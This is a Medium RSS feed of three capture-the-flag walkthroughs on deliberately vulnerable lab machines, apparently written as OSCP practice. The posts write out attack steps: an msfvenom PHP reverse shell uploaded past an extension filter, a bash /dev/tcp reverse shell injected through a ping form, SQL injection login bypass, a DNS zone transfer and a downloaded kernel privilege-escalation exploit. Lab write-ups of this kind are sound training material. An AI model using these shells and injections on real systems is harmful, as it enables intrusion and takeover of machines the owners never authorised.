<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Nikusha Kalatozi on Medium]]></title>
        <description><![CDATA[Stories by Nikusha Kalatozi on Medium]]></description>
        <link>https://medium.com/@nikushakalatozi?source=rss-ea885cae6695------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*1G0wgsEmJYB5Ai9mtIbKgQ.jpeg</url>
            <title>Stories by Nikusha Kalatozi on Medium</title>
            <link>https://medium.com/@nikushakalatozi?source=rss-ea885cae6695------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 20:22:56 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@nikushakalatozi/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Road to OSCP: FristiLeaks 1]]></title>
            <link>https://medium.com/@nikushakalatozi/road-to-oscp-fristileaks-1-49c53f105e40?source=rss-ea885cae6695------2</link>
            <guid isPermaLink="false">https://medium.com/p/49c53f105e40</guid>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Nikusha Kalatozi]]></dc:creator>
            <pubDate>Wed, 27 Jun 2018 18:58:40 GMT</pubDate>
            <atom:updated>2018-06-27T18:58:40.253Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi, today I’m going to work with vulnerable machine called FristiLeaks.</p><p>Let’s start by identifying Fristi’s host IP address.</p><pre>netdiscover -i eth0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*IhDACr_ODQmDMw12PLrrlg.png" /></figure><p>Let’s scan the ports via nmap</p><pre>nmap -T5 -sV 192.168.0.103</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*99wSBsesoAyevEZp08SHzw.png" /></figure><p>We’ve got port 80 open, so let’s open our browser and visit 192.168.0.103</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7GUAo9MDuksnq5X1xGS79w.png" /></figure><p>nothing suspicious here + I’ve checked source code nothing suspicious on index page…<br>I decided to run dirb to enumerate directories.</p><pre>dirb http://192.168.0.103/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*rU0CiwPzq-LVARXyQWl1Vw.png" /></figure><p>In robots.txt I found additional pages</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/385/1*QtLJzGcVYwtUgejeggsiRA.png" /></figure><p>in every directory I had meme image</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*nT-cwziaumZby7dxmJ042A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*ydR0GxWpkp3YgGi2hM5ecg.png" /></figure><p>by the way I love memes it forces me to try harder…<br> so I was like challenge accepted bitchachos.</p><p>I was stuck here for a while, until I associated all these directories with the slogan of the box “keep calm and drink fristi” so fristi is a drink as well, and I tried entering /fristi directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*2httBQC_J0OZyFLJvbxVAw.png" /></figure><p>and voila it was successful, in front of me appeared next meme &amp; admin portal login page. I tried blind SQL injection but it didn’t work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WDtra32AixSzweA98R_0CQ.png" /></figure><p>so I peeked inside the source code and I found text and comments telling me that the password was encrypted via base64 encryption</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*kJOCN0Lq36X-qooPNRCN3g.png" /></figure><p>I decrypted it and as a result I got decoded.png photo</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*ovpN9Tdp2HWYf31hrLDqrg.png" /></figure><p>Okay now we’ve got password but where the hell is username<br>after trying lot of default usernames. such as fristi, admin, administrator, root &amp; etc. I was about to take a break, I knew I was overthinking something, and I peeked in source code last time. when I’ve made focus on this part of code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*Ro6P0Xfw4FQGIcrEbEbaqA.png" /></figure><p>I tried username eezeepz, and login was successful…<br>I was banging my head on desk, yelling how I didn’t saw that before. so now we’ve got upload page, guess what I decided to upload my shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/449/1*dWRa3-DphkmuSFzMtvyG_A.png" /></figure><p>well I generated php shell via msfvenom</p><pre>msfvenom -p php<strong>/</strong>meterpreter_reverse_tcp LHOST=192.168.0.101 LPORT=4444 -f raw <strong>&gt;</strong> shell.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*a8PLUPPIbCJm9ui9zGfR1w.png" /></figure><p>but as it seems, it doesnt’ let us upload it because it’s filtering file extension and tells me that I’m able to upload only png, jpg and gif extensions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*yZLF2Wfjmq4HiriIOEyCbw.png" /></figure><p>but I know how to bypass this security, I will just change extension of shell.php to shell.php.png via following command</p><pre>mv shell.php shell.php.png</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*FHBAdFfgZ_jJQiK4072dWg.png" /></figure><p>and after this file has been successfully uploaded</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/365/1*A-bD3EWpGEeCq5CKBTNeEA.png" /></figure><p>then I started multi/handler in metasploit framework, configured payload and run exploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*DYsMG-aEHWwnDDQ0anSZQg.png" /></figure><p>ok now we’ve got meterpreter session, which I transformed to shell<br>now we need interactive shell, so I run following command</p><pre>python -c ‘import pty; pty.spawn(“/bin/sh”)’</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*VehAbk-o1a_UuFkx0r9aJw.png" /></figure><p>After wandering a lot through the directories, I found in notes.txt /eezeepz directory where was given hint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*ABWlQivk2IcEE4mwyUwmGQ.png" /></figure><p>Hint was:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*Mw7yUYYGxPbvJtDY7llqEQ.png" /></figure><p>So there is a script which will give us possibility to run commands as admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*yLHFv8cn3PPyDuDspH55vw.png" /></figure><p>in admin directory we have 2 text files let’s see what’s hiding inside of it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/378/1*S4NWbq4-jBavqStC2znCwA.png" /></figure><p>after catting cryptedpass.txt now we cat whoisyourgodnow.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/285/1*tifxf6Lb6xiBGSox8vBwyw.png" /></figure><p>although I was able to cat cryptpass.py</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*_5UdxZofu0rtLGkrgCtECw.png" /></figure><p>so here as we see cryptpass.py is encrypting it via rot13, I modified source code and made a reverse decoder from it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*E7DGf4QUe0JEpfJNfrsCaw.png" /></figure><p>then I run decoder and got the password “LetThereBeFristi!” and second password “thisisalsopw123”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*3EUl-6LTYVd8cszAAxmudA.png" /></figure><p>user “admin” was not sudoer, as I find out sudoer was user “fristigod” so I logged in fristigod</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*spr9psv5B_3lVxbXz6WiMw.png" /></figure><p>I wandered in fristigod directories as well and found .bash_history file, when I peeked inside it I saw suspicious directories like secret_admin_stuff (you know word “secret” gets our attention)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z0X8b22kxH9sRYPe_QHuSw.png" /></figure><p>so I entered .secret_admin_stuff directory and there I saw file doCom which could be run as root, first I tried to chmod it normally but it didn’t work, then I tried to chmod it via fristi user and it worked, now I had acces to /root folder when I peeked inside it there was fristileaks_secrets.txt file<br>I opened it and voila!!! there was the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NKvWHUmrI0qTdRcVjcJIsw.png" /></figure><p>I enjoyed pwning this machine a lot it gave me lot of experience and fun, thanks to the fristi and all of the contributors!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=49c53f105e40" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Road to OSCP: Kioptrix Level 2]]></title>
            <link>https://medium.com/@nikushakalatozi/road-to-oscp-kioptrix-level-2-bf78785c0ca0?source=rss-ea885cae6695------2</link>
            <guid isPermaLink="false">https://medium.com/p/bf78785c0ca0</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[hacker]]></category>
            <dc:creator><![CDATA[Nikusha Kalatozi]]></dc:creator>
            <pubDate>Tue, 26 Jun 2018 18:56:25 GMT</pubDate>
            <atom:updated>2018-06-26T18:56:25.374Z</atom:updated>
            <content:encoded><![CDATA[<p>Let’s start by identifying Kioptrix’s host IP address.</p><pre>netdiscover -i eth0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*xRBHxbsY3LHbTzrqAiBFLw.png" /></figure><p>To identify which one is Kioptrix’s IP address we need to run port scan.<br>192.168.0.100 is vulnerable box’s IP, I guessed it via open ports and versions.</p><pre>nmap -T5 -sV 192.168.0./24</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*Bci_NeLMBpFe0R_nhjNt4Q.png" /></figure><p>We’ve got 80 port open, when I opened it via browser, I saw “Remote System Administration Login” page.<br>when I see login pages, first thing I do is Blind SQL Injection</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/364/1*qzdW7dDrbXbBGhaDdLuCwg.png" /></figure><p>Blind SQL Injection was successful, We bypassed login security and now we have a possibility to ping any machine on the network, when I pinged my IP in it I received the result which is shown down below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*JclsYAP6Sn2TY6UBXT3H2w.png" /></figure><p>We bypassed login security and now we have a possibility to ping any machine on the network, when I pinged my IP in it I received the result which is shown down below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*bKiUIFU00pcw5QVBLQhWEw.png" /></figure><p>This text box has command injection vulnerability, it doesn’t sanitize user inputs, so I’ve thought why not to created reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*vB8zJ9km_hMJ13F8okX6Uw.png" /></figure><p>I started listening on port 4444 via netcat on my kali linux and entered following command in the textbox.</p><pre>192.168.0.101; bash -i &gt;&amp; /dev/tcp/192.168.0.101/4444 0&gt;&amp;1</pre><p>as a result we’ve got successful connection</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*2JKrqLejX3ZOdD13JaATwA.png" /></figure><p>now we will upgrade shell to fully interactive shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*G3GemdQ4_zE0VnPzgKxCxw.png" /></figure><p>After wandering through files I found nothing suspicious, I had only limited access, so my mission was to reach root user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*Ueq5cKLSGsMzehPvP__Exg.png" /></figure><p>I decided to check operating system &amp; kernel version.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*ICCS7EURSnMoeoIqCqp9Qw.png" /></figure><p>I found that this kernel version is vulnerable to privilege escalation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tLuMVs35oGE_BZO238tUjQ.png" /></figure><p>so I turned on my Apache service to use it as ftp.</p><pre>service apache2 start</pre><p>in Kali I uploaded this exploit on Apache Web Server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*Pw-ouU_1oSQFmkte7lAOig.png" /></figure><p>once we’ve got exploit on our apache web server, we can download it from the vulnerable box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*tmMdGDIzwky4GVWfXBpYCQ.png" /></figure><p>now we need to compile the exploit via gcc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*LpgRlBDE8PY8p5FRrY87CA.png" /></figure><p>and final step executing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*akPJKG2JJ8ForKMdwwQ-ig.png" /></figure><p>voila we’ve got R00T!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bf78785c0ca0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberCube2018 EternalRomance Walkthrough]]></title>
            <link>https://medium.com/@nikushakalatozi/cybercube2018-eternalromance-walkthrough-4f2702b2d990?source=rss-ea885cae6695------2</link>
            <guid isPermaLink="false">https://medium.com/p/4f2702b2d990</guid>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Nikusha Kalatozi]]></dc:creator>
            <pubDate>Sat, 23 Jun 2018 15:47:50 GMT</pubDate>
            <atom:updated>2018-11-14T07:59:35.376Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi, today we’re gonna deal with the vulnerable machine “Eternal-Romance” which I have exploited on cyber security olympiad in Georgia called “CyberCube 2018” Special thanks to Georgian CERT for organizing such events &amp; olympiads annually!<br>(btw prize for second place was horrible but it’s ok xD fuck it nvm)</p><p>So let’s begin today’s covered topics will be:</p><ul><li>Various Port Scanning methods (my personal preference)</li><li>Port Analysis</li><li>Blind SQL Injection</li><li>SMB Service Enumeration</li><li>DNS Zone Transfer Attack</li><li>Remote Code Execution</li></ul><p>Port scanning gave us result:</p><p>root@kali:~# nmap -Pn -sV 192.168.88.236 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) MAC Address: 08:00:27:D2:91:27 (Oracle VirtualBox virtual NIC) Service Info: Host: ETERNALROMANCE; OS: Linux; CPE: cpe:/o:linux:linux_kernel</p><p>-sV - Banner Grabbing<br>-T4 - For fast scanning<br>--script vuln - Running full NSE scripts against our target<br>-Pn - I always throw a -Pn in there just in case the target blocks ping probes, although it’s optional.</p><p>P.S From the beginning when I read that title of this vulnerable machine was EternalRomance I thought it would be easy peasy lemon squeezy with SMB Exploit, but later after trying lot of exploits I found that it was named EternalRomance just because to trick us. (trick was successful in my case… lol I wasted lot of time on that)</p><p>Open webservice port: 80</p><p>I run the Dirb scan for enumerating directories <br>root@kali:~# dirb <a href="http://192.168.88.236/">http://192.168.88.236/</a></p><p>---- Scanning URL: http://192.168.88.236/ ---- ==&gt; DIRECTORY: http://192.168.88.236/images/ + http://192.168.88.236/index.html (CODE:200|SIZE:288) + http://192.168.88.236/server-status (CODE:403|SIZE:294)</p><p>I’ve found nothing suspicious here, so I decided to visit webpage to see if there was any kind of hints.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/0*ma7pVb-f5aNw_8l7.png" /></figure><p>I’ve checked the source code of index.html and there I’ve found text which was encrypted via<br>Base64 encryption.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/463/0*SYHdRKNrxbtrDKA4.png" /></figure><p>(for base64 decryption I’m using: <a href="https://www.base64decode.org/">https://www.base64decode.org/</a> <br>I decrypted this Base64 encryption and got this result = /cybercube2018-eternalromance It was obvious that this was hidden directory so I entered <a href="http://192.168.88.236/cybercube2018-eternalromance">http://192.168.88.236/cybercube2018-eternalromance</a></p><p>Aaand voila! We’ve got some kind of admin login page here!<br>Whenever I see such a login page,first thing I do is Blind SQL Injection: &#39;OR&#39; 1=1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/0*ZpY8f4PFQtGiS2rr.png" /></figure><p>We’ve got the “Login Incorrect” message, but hell no! I won’t buy that fairy tales^^ <br>Again I’ve checked source and I see code with this logic: if you would input the given POST parameters (username &amp; password) some kind of image with name samba.png would appear.<br>When I’ve done this, now I only got this samba image and nothing to grip on, as I already mentioned I’ve tried lot of samba exploits and none of them worked. (no, I lie, actually they worked but no session was created in meterpreter)</p><p>So I’ve thought why not to try enumerating SMB folders.</p><p>root@kali:~# smbclient -L 192.168.88.236</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/0*cT82Ihi9CAUwqdl3.png" /></figure><p>There we see cube2018 folder.</p><p>Now we need to access this folder, we run the following command in our terminal: <br>root@kali:~# smbclient \\\\192.168.88.236\\cube2018 <br>ls</p><p>. D 0 Tue Apr 10 08:29:04 2018 .. D 0 Mon Apr 23 02:10:56 2018 Haha.txt N 61 Tue Apr 10 04:40:09 2018</p><p>Now let’s exit from smb process with Ctrl + C and run the following command in terminal to download Haha.txt from our SMB folder. <br>smbget smb://192.168.88.236/cube2018/Haha.txt</p><p>We’ve got this txt file, now let’s see what’s inside it! <br>cat Haha.txt <br>And again we’ve got text which is encrypted via Base64 encryptionbmFtZTogZXRlcm5hbHJvbWFuY2UsIHByb3RvY29sOiBkbnMoNTMvdGNwKQo= <br>Decrypting this text gave us result: `name: eternalromance, protocol: dns(53/tcp)</p><p>After few minutes of thinking and googling most common 53 port issues, I realised that it was<br>DNS Zone Transfer Attack</p><p>so I instantly opened-up terminal and run following command:</p><p>dig axfr @192.168.88.236 eternalromance</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/0*MpnogjGcZZh3VIMD.png" /></figure><p>Feels nice right? here we got all the information we need for editing our host file, so what are we waiting for? <br>nano /etc/hosts <br>Add new line in hosts file <br>192.168.88.236 cybercube2018.eternalromance.com <br>It should look like this when you’ll run the following command<br>cat /etc/hosts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/0*gK4KanFogSRr4v3e.png" /></figure><p>Now open up your browser and browse <a href="http://cybercube2018.eternalromance.com/">http://cybercube2018.eternalromance.com/</a> You’ll see login page,as I already told u when I see login page first I run SQL Injection: &#39;OR&#39; 1=1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/0*-y5fUl-n1uAeVs06.png" /></figure><p>It works! Now we see only fuckin empty textbox? WTF?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/519/0*2ZwTif0tWP6mFJFq.png" /></figure><p>(if you thought this then quit pentesting right now please, it’s a RCE my friend)</p><p>So we’ve got RCE right now,which means that we can execute any command we want. <br>After running command ls in terminal, we see that we’ve got 3 files over there, those files are: index.php rce.php test.php<br>just ignore them… Our mission is to get flag.txt just run the command <br>cat /home/eviltwin/flag.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/0*vCeZL7iOYMTKqKz8.png" /></figure><p>Everything’s done now we’ve got the flag and mission is completed… congratulations! <br>Hey u there, that’s not the end! READ THIS!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/0*_ibPlXeIu27u5KXC.png" /></figure><p>P.S You might wonder why we have this text in test.php… Who the hek is Lasha? Lasha Takashvili is my friend, cool guy, author of this vulnerable machine and the guy who inspired me to make this security blog. <br>Don’t forget to check out his blog, you’ll find lot of amazing boxes there — <a href="http://higgsx.github.io/">http://higgsx.github.io</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4f2702b2d990" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>